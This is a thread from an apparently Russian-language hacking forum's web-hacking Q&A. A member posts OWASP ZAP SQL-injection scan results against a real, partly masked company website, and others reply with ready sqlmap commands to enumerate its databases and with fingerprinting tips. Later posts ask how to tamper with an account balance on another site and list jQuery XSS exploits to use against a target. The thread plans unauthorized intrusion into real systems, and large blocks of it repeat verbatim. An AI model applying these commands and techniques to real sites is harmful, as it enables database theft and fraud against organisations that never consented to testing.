C Целью?
-
XSS.stack #1 – первый литературный журнал от юзеров форума
[web-hacking] Ваши вопросы
- Автор темы .Slip
- Дата начала
-
- Теги
- web-hacking
С целью проводить время по интересам, выполнять тематические заказы.
Вопросы к знатокам и старожилам форума. При сканировании Таргета через OWASP ZAP (zaproxy) получаю результаты уезвимостей, связанные с SQL-инъекциями или внедрением SQL-кода.
Вопрос в следующем: как правильно в SQLMAP прописать команды, исходя именно из того что нашел OWASP ZAP. За ранее всем благодарен. Искал на форуме подобный вопрос, к сожалениию ненашел.
Пример №1
GET https://www.Таргет.com.au/?p=58-2
Alert tags OWASP_2021_A03
WSTG-v42-INPV-05
OWASP_2017_A01
Alert description SQL injection may be possible.
Other info
The original page results were successfully replicated using the expression [58-2] as the parameter value
The parameter value being modified was stripped from the HTML output for the purposes of the comparison
Request
Request line and header section (334 bytes)
GET https://www.Таргет.com.au/?p=58-2 HTTP/1.1
Host: www.Таргет.com.au
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Pragma: no-cache
Cache-Control: no-cache
Referer: https://www.Таргет.com.au/about-us/
Cookie: wordpress_test_cookie=WP+Cookie+check
Content-Length: 0
Request body (0 bytes)
Response
Status line and header section (294 bytes)
HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Oct 2022 05:12:51 GMT
Server: Apache
Expires: Mon, 24 Oct 2022 06:12:52 GMT
Cache-Control: max-age=3600
Location: https://www.Таргет.com.au/world-class-copper/
Vary: User-Agent
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Response body (0 bytes)
Parameter p
Attack 58-2
Вопрос в следующем: как правильно в SQLMAP прописать команды, исходя именно из того что нашел OWASP ZAP. За ранее всем благодарен. Искал на форуме подобный вопрос, к сожалениию ненашел.
Пример №1
GET https://www.Таргет.com.au/?p=58-2
Alert tags OWASP_2021_A03
WSTG-v42-INPV-05
OWASP_2017_A01
Alert description SQL injection may be possible.
Other info
The original page results were successfully replicated using the expression [58-2] as the parameter value
The parameter value being modified was stripped from the HTML output for the purposes of the comparison
Request
Request line and header section (334 bytes)
GET https://www.Таргет.com.au/?p=58-2 HTTP/1.1
Host: www.Таргет.com.au
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Pragma: no-cache
Cache-Control: no-cache
Referer: https://www.Таргет.com.au/about-us/
Cookie: wordpress_test_cookie=WP+Cookie+check
Content-Length: 0
Request body (0 bytes)
Response
Status line and header section (294 bytes)
HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Oct 2022 05:12:51 GMT
Server: Apache
Expires: Mon, 24 Oct 2022 06:12:52 GMT
Cache-Control: max-age=3600
Location: https://www.Таргет.com.au/world-class-copper/
Vary: User-Agent
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Response body (0 bytes)
Parameter p
Attack 58-2
Пример №2
GET https://www.Таргет.com.au/wp-admin/...ashicons,buttons,forms,l10n,login%&ver=4.9.22
Alert tags OWASP_2021_A03
WSTG-v42-INPV-05
OWASP_2017_A01
Alert description SQL injection may be possible.
Other info
The page results were successfully manipulated using the boolean conditions [dashicons,buttons,forms,l10n,login%] and [dashicons,buttons,forms,l10n,loginXYZABCDEFGHIJ]
The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison
Data was returned for the original parameter.
The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter
Request
Request line and header section (505 bytes)
GET https://www.Таргет.com.au/wp-admin/...ashicons,buttons,forms,l10n,login%&ver=4.9.22 HTTP/1.1
Host: www.Таргет.com.au
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Pragma: no-cache
Cache-Control: no-cache
Referer: https://www.Таргет.com.au/wp-login.php?reauth=1&redirect_to=https://www.aeonmetals.com.au/wp-admin/
Cookie: wordpress_test_cookie=WP+Cookie+check
Content-Length: 0
Request body (0 bytes)
Response
Status line and header section (304 bytes)
HTTP/1.1 200 OK
Date: Mon, 24 Oct 2022 05:52:59 GMT
Server: Apache
X-Powered-By: PHP/7.2.34
Expires: Tue, 24 Oct 2023 05:52:59 GMT
Cache-Control: public, max-age=31536000
Upgrade: h2,h2c
Connection: Upgrade
Etag: 4.9.22
Vary: Accept-Encoding,User-Agent
Content-Type: text/css; charset=UTF-8
Response body (105325 bytes)
Parameter load[0]
Attack dashicons,buttons,forms,l10n,login%
GET https://www.Таргет.com.au/wp-admin/...ashicons,buttons,forms,l10n,login%&ver=4.9.22
Alert tags OWASP_2021_A03
WSTG-v42-INPV-05
OWASP_2017_A01
Alert description SQL injection may be possible.
Other info
The page results were successfully manipulated using the boolean conditions [dashicons,buttons,forms,l10n,login%] and [dashicons,buttons,forms,l10n,loginXYZABCDEFGHIJ]
The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison
Data was returned for the original parameter.
The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter
Request
Request line and header section (505 bytes)
GET https://www.Таргет.com.au/wp-admin/...ashicons,buttons,forms,l10n,login%&ver=4.9.22 HTTP/1.1
Host: www.Таргет.com.au
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Pragma: no-cache
Cache-Control: no-cache
Referer: https://www.Таргет.com.au/wp-login.php?reauth=1&redirect_to=https://www.aeonmetals.com.au/wp-admin/
Cookie: wordpress_test_cookie=WP+Cookie+check
Content-Length: 0
Request body (0 bytes)
Response
Status line and header section (304 bytes)
HTTP/1.1 200 OK
Date: Mon, 24 Oct 2022 05:52:59 GMT
Server: Apache
X-Powered-By: PHP/7.2.34
Expires: Tue, 24 Oct 2023 05:52:59 GMT
Cache-Control: public, max-age=31536000
Upgrade: h2,h2c
Connection: Upgrade
Etag: 4.9.22
Vary: Accept-Encoding,User-Agent
Content-Type: text/css; charset=UTF-8
Response body (105325 bytes)
Parameter load[0]
Attack dashicons,buttons,forms,l10n,login%
Пример №3
POST https://www.Таргет.com.au/wp-json/contact-form-7/v1/contact-forms/4/feedback
Alert tags OWASP_2021_A03
WSTG-v42-INPV-05
OWASP_2017_A01
Alert description SQL injection may be possible.
Other info
The page results were successfully manipulated using the boolean conditions [wpcf7-f4-p2-o1%] and [wpcf7-f4-p2-o1XYZABCDEFGHIJ]
The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison
Data was returned for the original parameter.
The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter
Request
Request line and header section (637 bytes)
POST https://www.Таргет.com.au/wp-json/contact-form-7/v1/contact-forms/4/feedback HTTP/1.1
Host: www.Таргет.com.au
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------385582408011607977681582629032
Content-Length: 1447
Origin: https://www.Таргет.com.au
Connection: keep-alive
Referer: https://www.Таргет.com.au/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Request body (1447 bytes)
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="_wpcf7"
4
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="_wpcf7_version"
5.0.4
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="_wpcf7_locale"
en_US
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="_wpcf7_unit_tag"
wpcf7-f4-p2-o1%
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="_wpcf7_container_post"
2
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="first-name"
BwhgvqKdFpUSoAsp
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="last-name"
rvKQkweEYpmpTtuv
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="phone"
zkbxltSnmArswyQS
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="email"
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="message"
GXqyoQmTbwGxcsmx
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="personal_detail"
Analyst
-----------------------------385582408011607977681582629032--
Response
Status line and header section (647 bytes)
HTTP/1.1 200 OK
Date: Mon, 24 Oct 2022 04:12:22 GMT
Server: Apache
X-Robots-Tag: noindex
Link: <https://www.Таргет.com.au/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages
Access-Control-Allow-Headers: Authorization, Content-Type
Allow: POST
Access-Control-Allow-Origin: https://www.Таргет.com.au
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true
Vary: Origin,Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=80
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
Response body (252 bytes)
{"into":"#wpcf7-f4-p2-o1","status":"validation_failed","message":"One or more fields have an error. Please check and try again.","invalidFields":[{"into":"span.wpcf7-form-control-wrap.email","message":"The field is required.","idref":"contact-email"}]}
Parameter _wpcf7_unit_tag
Attack wpcf7-f4-p2-o1%
POST https://www.Таргет.com.au/wp-json/contact-form-7/v1/contact-forms/4/feedback
Alert tags OWASP_2021_A03
WSTG-v42-INPV-05
OWASP_2017_A01
Alert description SQL injection may be possible.
Other info
The page results were successfully manipulated using the boolean conditions [wpcf7-f4-p2-o1%] and [wpcf7-f4-p2-o1XYZABCDEFGHIJ]
The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison
Data was returned for the original parameter.
The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter
Request
Request line and header section (637 bytes)
POST https://www.Таргет.com.au/wp-json/contact-form-7/v1/contact-forms/4/feedback HTTP/1.1
Host: www.Таргет.com.au
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------385582408011607977681582629032
Content-Length: 1447
Origin: https://www.Таргет.com.au
Connection: keep-alive
Referer: https://www.Таргет.com.au/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Request body (1447 bytes)
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="_wpcf7"
4
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="_wpcf7_version"
5.0.4
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="_wpcf7_locale"
en_US
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="_wpcf7_unit_tag"
wpcf7-f4-p2-o1%
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="_wpcf7_container_post"
2
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="first-name"
BwhgvqKdFpUSoAsp
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="last-name"
rvKQkweEYpmpTtuv
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="phone"
zkbxltSnmArswyQS
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="email"
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="message"
GXqyoQmTbwGxcsmx
-----------------------------385582408011607977681582629032
Content-Disposition: form-data; name="personal_detail"
Analyst
-----------------------------385582408011607977681582629032--
Response
Status line and header section (647 bytes)
HTTP/1.1 200 OK
Date: Mon, 24 Oct 2022 04:12:22 GMT
Server: Apache
X-Robots-Tag: noindex
Link: <https://www.Таргет.com.au/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages
Access-Control-Allow-Headers: Authorization, Content-Type
Allow: POST
Access-Control-Allow-Origin: https://www.Таргет.com.au
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true
Vary: Origin,Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=80
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
Response body (252 bytes)
{"into":"#wpcf7-f4-p2-o1","status":"validation_failed","message":"One or more fields have an error. Please check and try again.","invalidFields":[{"into":"span.wpcf7-form-control-wrap.email","message":"The field is required.","idref":"contact-email"}]}
Parameter _wpcf7_unit_tag
Attack wpcf7-f4-p2-o1%
1) sqlmap -u "https://www.Таргет.com.au/?p=*" --level 5 --risk 3 --random-agent --batch --dbs
2) лучше ручками тести в burp
3) запрос помести в текстовик и sqlmap -r example.txt --level 5 --risk 3 --random-agent --batch --dbs
можешь вместо wpcf7-f4-p2-o1% написать *
1) -o -b -f ; level=5 не надо, 4 хватит, а вот что надо = это "-v 3" минимум
--dbms требует конкретной реляционки, потому или -b или -f хотя бы, раз сам не можешь определить,
2) противоречит в себяшку. Пускаешь чз берп = знаешь, с чем работаешь.
3) Может помешать, особенно на --level 5 без точного указания параметра и бд. Будет долбить всё. Бред, часами гонять без предположительной (даже) баги а просто сканер показал FP.
или в -p "param" или "звездочкой" для URI, но вы же пихаете ее везде.
При условии открытого порта определить --dbms возможно просканировав Nmap_ом, предварительно собрав поддомены/узнав их ip посредством dns dumpa. Возможно геморно но иногда помогает..
Бред. Один хостится на win сервер, второй как прокся работает на апаче, третий nginx прокладкой. А теперь в рокировке.
Тебе надо бд определить, и ты видимо это делаешь по php, asp , aspx, jsp и подобным, это как бы особого ума и не требует. Ой забыл, а вдруг расширений нет?
NMap по сабдоменам покажет тебе апи на iis, главный под свежей клауда или амазона проксей? чз nginx это сверху будет приправлено тем же апачем. Порт = очко, если это не порт под cve с poc'om
Как начать делать инъекции? Какие самые лучшие и эффективные? Они работают на определенных сайтах или на всех?
sqli - почти все начинают с нее, xss, lfi
посмотри OWASP курсы, изучи burp, сканеры
работают на сайтах где плохо настроена фильтрация, а таких не мало, как и методов ее обохода
mitem/4092/default.aspx
Что можно сделать с подобным? В сайте полно дыр, но не знаю с чего начать чтобы вытягивать. Пытался отправлять свои запросы, но стоит фильтрация и проверка по юзеру верные ли данные, аля, баланс(пытался подменить баланс, проверка частично на стороне клиента)
Что можно сделать с подобным? В сайте полно дыр, но не знаю с чего начать чтобы вытягивать. Пытался отправлять свои запросы, но стоит фильтрация и проверка по юзеру верные ли данные, аля, баланс(пытался подменить баланс, проверка частично на стороне клиента)
Пиши статьи, помогай в топиках, пости годноту, вноси вклад или купи прем.
Купи Прем,не выпрашивай
Какие плагины для burp можете посоветовать?
Последнее редактирование:
В Issue details же расписано. Даже линк есть.
Это я понимаю, просто как для новичка непонятен ход действий.
Банально даже накатил плагины по совету с одного из топиков и не до конца разобрался с большей частью, радует что если софт сам видит что-то, значит и вручную найдётся больше
Нажми на линк, прочитай описание. Переведи описание, если не понимаешь англ. Дальше пробуй использовать уязвимость.
PACKETSTORM:162159 - 4.3 Exploit - jQuery 1.2 Cross Site Scripting
458891C6-0BE7-5AC1-8119-7DD6B0884A9A - 4.3 - Exploit for Cross-site Scripting in Jquery [jQuery](https://jquery.com/) â New Wave JavaScript ============...
4776E147-A67B-5C01-AD10-4958D8D40007 - 4.3 - Exploit for Cross-site Scripting in Jquery [jQuery](http://jquery.com/) - New Wave JavaScript =============...
9E63B0B5-5583-5FC0-85B1-048296D9FC6A - 4.3 - Exploit for Cross-site Scripting in Jquery # CVE-2020-11022 CVE-2020-11023 > In jQuery versions greater th...
NODEJS:328 - - Cross-Site Scripting (XSS) ## Overview Affected versions of `jquery` interpret `text/javascript` responses from cross-origin ajax requests, and automatically execute the contents in `jQuery.globalEval`, even when the ajax request doesn't contain the `dataType` option. ## Recommend...
GHSA-GXR4-XJJ5-5PX2 - 4.3 - Potential XSS vulnerability in jQuery ### Impact Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. `.html()`, `.append()`, and others) may execute untrusted code. ### Patches This problem is patched in jQuery 3.5.0. ### Workaro...
1337DAY-ID-36102 - 4.3 Exploit - jQuery 1.2 - Cross-Site Scripting Vulnerability
PACKETSTORM:162160 - 4.3 Exploit - jQuery 1.0.3 Cross Site Scripting
VERACODE:25140 - 4.3 - Cross-Site Scripting (XSS) jquery is vulnerable to cross-site scripting (XSS). When passing a HTML from untrusted sources to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others), untrusted code may potentially be executed.
1337DAY-ID-36103 - 4.3 Exploit - jQuery 1.0.3 - Cross-Site Scripting Vulnerability
CVE-2020-11023 - 4.3 - CVE-2020-11023 In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute ...
EDB-ID:49767 - 4.3 Exploit - jQuery 1.0.3 - Cross-Site Scripting (XSS)
CVE-2020-11022 - 4.3 - CVE-2020-11022 In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is...
NODEJS:329 - - Cross-Site Scripting ## Overview Affected versions of `jquery` are vulnerable to cross-site scripting. This occurs because the main `jquery` function uses a regular expression to differentiate between HTML and selectors, but does not properly anchor the regular expression. Th...
OSV:GHSA-GXR4-XJJ5-5PX2 - 4.3 - Potential XSS vulnerability in jQuery ### Impact Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. `.html()`, `.append()`, and others) may execute untrusted code. ### Patches This problem is patched in jQuery 3.5.0. ### Workaro...
C0148A2C-75C9-5375-AE2F-DBEDCCD0999F - 6.5 - Exploit for Cross-site Scripting in Jquery This repository contains the patches for [CVE-2020-11022](https:...
EDB-ID:49766 - 4.3 Exploit - jQuery 1.2 - Cross-Site Scripting (XSS)
VERACODE:25456 - 4.3 - Cross-Site Scripting (XSS) jquery is vulnerable to cross-site scripting (XSS). The regular expression in `load()` method does not properly remove HTML tags containing a whitespace character in the closing script tag
458891C6-0BE7-5AC1-8119-7DD6B0884A9A - 4.3 - Exploit for Cross-site Scripting in Jquery [jQuery](https://jquery.com/) â New Wave JavaScript ============...
4776E147-A67B-5C01-AD10-4958D8D40007 - 4.3 - Exploit for Cross-site Scripting in Jquery [jQuery](http://jquery.com/) - New Wave JavaScript =============...
9E63B0B5-5583-5FC0-85B1-048296D9FC6A - 4.3 - Exploit for Cross-site Scripting in Jquery # CVE-2020-11022 CVE-2020-11023 > In jQuery versions greater th...
NODEJS:328 - - Cross-Site Scripting (XSS) ## Overview Affected versions of `jquery` interpret `text/javascript` responses from cross-origin ajax requests, and automatically execute the contents in `jQuery.globalEval`, even when the ajax request doesn't contain the `dataType` option. ## Recommend...
GHSA-GXR4-XJJ5-5PX2 - 4.3 - Potential XSS vulnerability in jQuery ### Impact Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. `.html()`, `.append()`, and others) may execute untrusted code. ### Patches This problem is patched in jQuery 3.5.0. ### Workaro...
1337DAY-ID-36102 - 4.3 Exploit - jQuery 1.2 - Cross-Site Scripting Vulnerability
PACKETSTORM:162160 - 4.3 Exploit - jQuery 1.0.3 Cross Site Scripting
VERACODE:25140 - 4.3 - Cross-Site Scripting (XSS) jquery is vulnerable to cross-site scripting (XSS). When passing a HTML from untrusted sources to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others), untrusted code may potentially be executed.
1337DAY-ID-36103 - 4.3 Exploit - jQuery 1.0.3 - Cross-Site Scripting Vulnerability
CVE-2020-11023 - 4.3 - CVE-2020-11023 In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute ...
EDB-ID:49767 - 4.3 Exploit - jQuery 1.0.3 - Cross-Site Scripting (XSS)
CVE-2020-11022 - 4.3 - CVE-2020-11022 In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is...
NODEJS:329 - - Cross-Site Scripting ## Overview Affected versions of `jquery` are vulnerable to cross-site scripting. This occurs because the main `jquery` function uses a regular expression to differentiate between HTML and selectors, but does not properly anchor the regular expression. Th...
OSV:GHSA-GXR4-XJJ5-5PX2 - 4.3 - Potential XSS vulnerability in jQuery ### Impact Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. `.html()`, `.append()`, and others) may execute untrusted code. ### Patches This problem is patched in jQuery 3.5.0. ### Workaro...
C0148A2C-75C9-5375-AE2F-DBEDCCD0999F - 6.5 - Exploit for Cross-site Scripting in Jquery This repository contains the patches for [CVE-2020-11022](https:...
EDB-ID:49766 - 4.3 Exploit - jQuery 1.2 - Cross-Site Scripting (XSS)
VERACODE:25456 - 4.3 - Cross-Site Scripting (XSS) jquery is vulnerable to cross-site scripting (XSS). The regular expression in `load()` method does not properly remove HTML tags containing a whitespace character in the closing script tag
Получил из BURP, я так понимаю уже достаточно этого, чтобы устроить шоу?
Последнее редактирование: